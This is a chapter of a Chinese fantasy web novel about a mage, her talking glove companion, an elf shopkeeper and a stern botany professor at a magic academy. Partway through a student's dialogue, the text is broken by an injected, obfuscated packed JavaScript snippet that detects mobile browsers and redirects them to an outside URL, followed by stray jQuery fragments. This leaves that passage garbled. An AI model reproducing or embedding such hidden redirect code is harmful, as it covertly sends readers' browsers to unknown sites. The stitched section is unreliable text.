冰冷的水淹没了它。
这感觉很不好,万形尝试关闭五感,却惊恐地发现毫无作用。
“你早就见过霍默格尼尔的学生卡,却在进内城过桥时借口说自己没见过不能变形。”女声远比浸透它身躯的水更寒冷。
“你欺骗了我。”
夜空中,飘过的云层正巧遮住了月亮,将这一幕承托得更加诡谲。
安易并不需要回答,她只是反复地把这双手套从水桶中捞起来又压进去,动作流畅得仿佛只是在清洗自己不小心弄脏的配饰。
放开我,我不是故意的,都是菲斯兰特强迫我的。
万形再次试图发声,却发现自己身上的沉默魔法还是没有解开。
果然这个女人还是这么可怕!
作为皮质手套,这样被反复泡在水里的感觉实在是太过恐怖,万形本就不算坚定的立场果断地向安易这边倒戈。
抓住一个极为短暂的间隙,它挣扎着抱了下安易的手指。
五分钟后。
老板莉卡才施施然地从收银台后的帘子中绕了出来。
她打了个不大不小的哈欠:“哎呀,怎么这么吵,还让不让人睡觉了。”
睡衣上的泡泡袖随着她的动作俏皮地弹了一下,如果不是橱窗那边的满地狼藉,这一幕简直是奇妙幻想夜的标准镜头。
安易扭头道:“教育了一下我的……手套?”
万形没有再变形,还是那被水泡过的可怜样。
安易还举起手套,朝着身着睡衣的老板挥了挥。
莉卡又好气又好笑:“半夜没地方洗衣服吗?是学院洗衣房又排不上队还是想省钱,哦,别说是考试周赶时间没空吧。”
“我们伟大的冰魔法师多迩缇特,又来我这里来借洗衣桶?”
云层又飘远,借着月光,安易看清莉卡那毫无困意的脸。
她就知道,傍晚她来过店里后,莉卡肯定也睡不着,何况她还故意把万形这家伙丢在这里了。
没管那平白粉身碎骨的橱窗玻璃,莉卡走到安易身边,拉着她坐到收银台边的小桌子边,刚拉开凳子,她又转身从收银台下面翻出来一截淡绿色的蜡烛。
“森林里寄来的,平时也用不到,正好今晚你来了。“
安易心领神会,指尖火光一闪。
淡淡的草木味儿混着森林深处特有的连裙花香,静悄悄地在随着火光在小服装店内扩散。
莉卡是个最普通的精灵,普通到只会使用一些最基础的生活魔法,甚至无法自己搓个小火球点蜡烛。
精灵身份唯一带给她的好处,就是寿命比人类长一些。
如果不借助月亮和蜡烛的光芒,她甚至看不清安易。
不过幸运的是,得益于一些朋友的帮助和霍默格尼尔学院的治安管理,她这个小服装店也能够在内城中安安稳稳地开了上百年。
许久未见,莉卡心间有些颤动,但她还是选了最常见的那种开头:“安安,你过得怎么样?”
“很好啊。”
话匣子一旦打开,就收不住了。
两个人之间的话题就好像是炸开的毛线团,破开的羽绒被,怎么也聊不到尽头。
最终还是莉卡主动表示熬不住。
“安安,我很高兴能够再次见到你,就是今晚……”莉卡打了个大大的哈欠,眼泪都自动出来了,“真的太晚了,我们明天再聊吧。”
她犹豫了一下,还是道:“但是你知道的,我不会偏袒任何朋友,我不能告诉你关于里奥的具体事情。”
“我唯一能说的就是,他和你们一样,绝对不是坏孩子。”
安易点点头,临走前主动拥抱了一下裹在泡泡裙睡衣里的瘦弱精灵。
走在街上,安易的脚步轻巧得像猫。
深夜的紫丁香内城是轻缓的,柔和的夜风会带来远处精灵森林的灵气,如水的月光抚平游人心中的愁绪。
“喂喂。”
“什么情况啊?”
“你跟她聊了半天,没一个重点。”
就是这手套有点聒噪。
敏锐地觉察到魔法师不善的眼神,好不容易烘干自己的万形赶紧讨好道:“我就是没想到,原来你们的关系这么好嘛。”
“难怪你们是朋友,我就说店里的衣服怎么都那么可爱那么精致那么好看,那么适合你!”
“果然审美好的人都在一起玩。”
安易坦然地接受了这个拍马屁行为,她大发慈悲地解开了万形身上的禁言和禁锢的双重效果。
感觉到“不可视”层面上的枷锁去除,万形立马变身,重新化作围巾绕上魔法师修长的颈间。
“现在怎么办,她说不能提供那个小贼的信息。”
“我们该去哪找总部的徽章?”
“为什么要找?”
万形心中的问号呼之欲出,但他却紧急刹住了,被水洗过的大脑确实清楚了不少。
对哦,对于安易来说,为什么要找呢?
反正她又不是魔法协会的,这玩意丢了就丢了呗,既不能罚款又不能降职。
至于任务的完成情况……
万形心里咯噔一下。
它很清楚,这根本不是什么任务,不过是菲斯兰特想要派它过来盯着安易,特地找的一个冠冕堂皇的借口罢了。
至于菲斯兰特的动机,这就更简单了。
他很看重下个月烈焰沼泽的解封仪式,从魔法协会会长的角度出发,这是件绝对不能出岔子的事情。作为当年的封印者之一,安易必须顺利到场。
可让安易在魔法协会总部好好待近一个月并不现实。
那不如借着任务,让她到一个相对安全的地方走走玩玩,再由一个他信得过的陪同。
想明白关窍,万形连忙认同安易,狗腿道:“对对对,不用找徽章。”
“完全不用!”
“丢一个徽章而已,多大点事!我回头联系一下总部,看着走个手续就好。”
天知道这种级别的徽章丢了能走什么”手续“。
任务是假的,可这玩意能刷出来的金币是真的啊。就连徽章本身,都是由最上等的秘银铸造而成,光材料价值都购买一间商铺了。
万形内心在尖叫,在呐喊,可表面上它只是一条很乖顺的围巾。
安易关心道:“真的没关系吗?”
“没关系。”
“你不会被骂吧?”
万形试图找回点自信:“我看谁敢!?”
安易又问了个更致命的问题:“你家会长大人不会生气吧?”
不会二字刚想出口,万形灵光一闪,瞬间改了答案,出口时中气十足,回荡在深夜的街道上。
“我们管他呢!!!”
-
铛,铛——
千年如一日,十二点的钟声准时响起。
古老钟楼只占据霍默格尼尔学院的一角,可它那浑厚钟声却能够借助指针上的附魔,传遍整个校园。
趁着监考老师不注意,维卡思偷偷改了一个答案。
白花花的试卷像是逆飞的雪花,试卷被收走的瞬间,他感觉到自己的灵魂也同步升华了。
考试,真的是所有学生都怕的事情啊!
也不知道安易去哪了,走出考场教室,维卡思下意识在乌泱泱的学生群中找着那个白发魔法师。
霍默格尼尔学院的学生是很多元的,也并非所有学生都会化作人形进行日常生活。
眼神扫过高矮胖瘦,身形各异的人群,维卡思只用了不到半秒就确认了“安易不在”,这个令他有些微微失望的现实。
虽然安易经常会换打扮,作为魔法师肯定也会变身。
但维卡思总觉得,她就是不一样的。
哪怕变身成为一片叶子,也肯定是枝头上造型最为悠闲,站位却最为特殊的那一片。
找不到安易,维卡思转身欲回图书馆,继续复习下午要考的科目。
“喂,等等。”
维卡思一头雾水地从地下捡起一块会怪叫的旧橡皮。
身边的学生们依旧脚步匆匆,仿佛根本没有注意到这里有一块会主动搭讪的橡皮。
毕竟,这儿可是魔法位面的魔法学院。
一块会说话的橡皮算什么。
传说中,每个仲夏夜,钟楼的内部还会开启直通虚空的传送门呢。届时,教导主任会把所有挂科挂到无可救药的学生统统打包扔进去历练。
就是这种行为在隔壁的人类帝国,一般叫流放。
远远望见万形和维卡思成功汇合,安易从窗边离开。
正午的阳光透过彩窗的玻璃,明艳艳地在走廊里洒下一团团七彩的风景。年轻的女孩们抱着课本从她身边快速跑过,光影在她们的白裙子上染出最靓丽的画。
“这题出得也太难了吧,我都来不及写最后一个大题。”
“我也是,感觉高植又要挂了。”
“你说赛多罗会捞我们吗?”
“……”
“好了,你别回答我,让我做做梦吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001615|193971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
“那我也做梦,你说后天我能被选上去献花吗?据说……。”
“你可真有闲心,复习完了没……”
女孩们的声音在走廊中远去,轻靠在墙壁上的安易也抬起头来。
对面紧闭的办公室门突然打开,一道古井无波的眼神从门内传来,正正好和安易打了个碰。
皮鞋鞋跟在地板上擦出轻快的声音,安易上前,好好行了个魔法师礼。
“尊敬的赛多罗导师,日安。”
“进来吧。”
办公室内,向来严肃的植物学教授赛多罗罕见地既没有对着成堆书稿忙碌,也没有找几个作业不合格的学生过来罚写。
他只是一脸严肃地看着桌面上这张薄纸。
“你不应该来找我,翻译古籍,这种语言学上的事情,维多利亚教授更为合适。”
安易也盯着那张自己从魔法协会里弄出来的残页,上面还留着她把它浸在许愿池后留下的水痕,“我已经确定上面一定是写了一些植物名称的。”
“多迩缇特,这到底是哪里来的?”
古板的老教授见多识广,他在学院中任教近三百年,别说学院里几千年来的植物记录古本他早就整理过好几轮,就是放眼整个魔法位面,他不知道的植物,也是寥寥。
看着曾经带过的学生,赛多罗严肃道:“我必须警告你,不要陷入虚无的陷阱。”
不是所有文字记录都是真实的,历史上有过不少次误把前人编造的东西当真的教训。
何况这还是用的某种失传的古文,赛多罗根据上面的书写格式,大概能猜到这是跟炼金配方有关的记载。
作为崇尚自然植物的学者,他对炼金术没有太多好感。
“老师,您真的什么也看不出来吗?”安易的声音很轻,却带着些好学生专有的大胆,“这对我很重要,我保证不是去做坏事。”
赛多罗深深地看了一眼眼前的魔法师。
他带出过很多很多有名的学生,这些学生在离开霍默格尼尔学院后都创出了自己的一番天地。
有些人成为英雄,名垂青史,有些人投向黑暗,威慑八方,有人成为彼此一生的挚友,也有人拔剑指向同窗旧友。
按照院规,学生们一旦毕业,就霍默格尼尔学院没有关联了。
他并没有一定要帮助眼前魔法师的理由,哪怕她曾经为这个位面做出不小的贡献。
赶在赛多罗把拒绝的话说出口之前,安易从兜里掏出来一个闪亮亮的东西。
“一个小礼物,”安易把手中的钻石樱桃直接挂在了赛多罗身后的小樱桃树上,孱弱的枝桠晃个不停,“我还记得老师您曾经上课时说过,钻石樱桃是‘天然的奇迹’,金元素和木元素完美的平衡造就了它独特的催熟能力……”
“并不完美。”
赛多罗从转椅上起身,走到自己每天照料的樱桃树前,却并没有触碰任何,他纠正了安易的说法:“是’近乎完美‘,钻石樱桃不能和任何其他品种的樱桃共生。”
成了,赛多罗教授这是答应帮忙的意思。
忍住内心的激动,安易很有颜色顺坡下驴:“嗯嗯,老师您说的对!”
从办公室出来,安易重重地靠在墙壁上。
果然,无论过去多少年,只要是听赛多罗老师讲知识,就是一场堪比精神摧残的头脑风暴。在彻底被讲晕过去前,安易强撑着礼貌,朝老师道谢离开。
毕业百年,只用了半个小时,安易就彻底回想起来念书时那些痛苦的学习经历了。
好在赛多罗教授帮她确认了两处必要的炼金材料,其一就是人类皇室专有的金盏花,她已拿到三分之一,至于另一个,倒是让安易有些意外。
不过赛多罗也明确指出,这份炼金配方并不完整。
安易明白老师的言外之意,那是严厉的警告,也是善意的提醒。
【不要陷入虚无的陷阱】
这是每一个和魔法、炼金、元素这些玩意儿打交道的人,都必须牢记的信条。
谢谢你,教授。
对着办公室恢复紧闭状态的木门,安易在心中再次重复了遍感谢,又眺望了下远处的钟楼。
这个点儿,维卡思应该要准备去考下一场了吧。
正巧,走廊里有抱着试卷的学生路过,脚步快到刮起残影,靠在墙壁上的安易看着他们的眼神中充满了同情和理解。
等等,刚刚路过的那两个学生怎么有点眼熟?
身体快过反应,安易直接追了上去。